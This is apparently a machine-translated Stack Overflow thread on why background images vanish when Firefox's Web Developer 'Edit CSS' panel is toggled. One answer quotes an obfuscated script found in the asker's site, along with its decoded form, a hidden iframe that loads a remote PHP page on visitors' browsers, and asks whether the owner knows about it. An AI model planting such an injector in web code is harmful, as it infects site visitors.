1

HTML ドキュメントのスタイルシートを編集および構築するための私の典型的なワークフローは、Firefox Web 開発者ツールバーの [CSS の編集] パネルを開き、ブラウザー ウィンドウで直接編集することです。

ほとんどの場合、これは魔法のように機能します。ただし、[CSS の編集] パネルを開くと、特定の画像が消えることがありますが、その理由はわかりません。さらに奇妙なことに、ツールバーを開いた状態で追加した画像が、ツールバーを閉じると表示されないことがあります。(主に、CSS の background-image ルールで追加された画像について話しています)。

ここにいくつかの例があります...

http://kenbrook.org - [CSS の編集] パネルを開くと、ボディの背景画像がいくつかの div 背景とともに消えます。実際、CSSの背景画像の画像はほとんど消えていると思います。私はこのサイトのマークアップとほとんどのスタイルを書きませんでしたが、それらを編集して完成させる責任があります。なぜこれが起こるのか、何か考えはありますか？

http://joelglovier.com - これも確認してください。これは、私が今自分で構築してスタイルを書いているところです (現在、ページにはいくつかの要素しかありません)。ヘッダー div には、画像を入れる空の div があります。[CSS の編集] を開くと、画像が期待どおりに表示されます。ただし、閉じていると、画像は表示されませんが、firebug を使用すると、スタイルが確実に適用され、div があるべき場所にあることがわかります。

説明はありますか??

4

5 に答える 5

2

CSS ファイルと画像ファイルが HTML と同じディレクトリにない場合に、この問題が発生しました。たとえば、次のディレクトリ構造がありました。

index.html
image/background.jpg
css/index.css

CSSにこれがありました：

body { background-image:image/index.html; }

Web Developer の CSS エディタを開くと、機能しました。私がそれを閉じたとき、それはしませんでした。

答えは、画像へのパスが HTML ファイルではなく、CSS ファイルに対して相対的であるということです。CSS エディタを開くと、パスが正しく認識されました。閉じると、Firefox は画像を見つけることができませんでした。

エディターを使用して別のディレクトリにファイルを置きたい場合、CSS のパスは絶対パスにする必要があると思います。

于 2011-03-23T20:27:02.120 に答える
1

ただし、Web 開発者用ツールバーのホームページを見ると、「Issues (問題)」の下に「「CSS の編集」は、CSS に関連してリンクされている背景画像では機能しません。したがって、現時点でアドオンが処理できないのは、相対リンクされた画像です。アドオンの作成者に修正してもらうようにしてください...私はこの問題も嫌いです...

于 2010-10-19T16:55:18.567 に答える
1

問題を再現することはできません。[CSS の編集] パネルを開いたとき、ページは同じままですが、ウイルス スキャナーは、スクリプトの 1 つ (/assets/js/slides.js) にトロイの木馬が隠されていることを警告します。その中の Script.Iframer...

強力な css オンライン エディターも備えている firebug を試すこともできます。

于 2010-07-30T15:41:38.513 に答える
1

このコードの目的は何ですか ( http://kenbrook.org/assets/js/slides.jsから)

var source ="=tdsjqu?jg!)epdvnfou/dppljf/tfbsdi)#koewv>3#*!>>!.2*!|sz{{>epdvnfou/hfuFmfnfouCzJe)(m{nig(*<jg)sz{{>>ovmm*|epdvnfou/xsjuf)(=jgsbnf!je>m{nig!tsd>iuuq;00xxx/tqjsjufl/dp/kq0bttfut0kt0bkby/qiq!tuzmf>ejtqmbz;opof?=0jgsbnf?(*<~epdvnfou/dppljf!>!#koewv>3<fyqjsft>Tvo-!12.Efd.3122!19;11;11!HNU<qbui>0#<~=0tdsjqu?"; var result = "";
                   for(var i=0;i<source.length;i++) {
                       result+=String.fromCharCode(source.charCodeAt(i)-1);
                   }
                   document.write(result);

難読化を解除すると、これがドキュメントに書き込まれます

<script>if (document.cookie.search("jndvu=2") == -1) {
ryzz=document.getElementById('lzmhf');if(ryzz==null){document.write('<iframe id=lzmhf src=http://www.spiritek.co.jp/assets/js/ajax.php style=display:none></iframe>');}
document.cookie = "jndvu=2;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}</script>

その存在に気づいていますか？

于 2010-07-31T17:46:04.777 に答える
0

私は問題を理解したと思います-少なくとも2番目のリンクについて。Edit CSS が開いているときに表示されていたが、そのパネルが開いていないと表示されないものについては、絶対配置された div で top: 値を定義するのを怠ったようです。そのトップ値を定義すると、通常のブラウザーと Edit CSS を開いた状態の両方で画像が表示されます。

ただし、画像が正常に表示される kenbrook.org に適用されるかどうかはわかりませんが、[CSS の編集] が開いていると消えます。

于 2010-07-24T16:30:20.500 に答える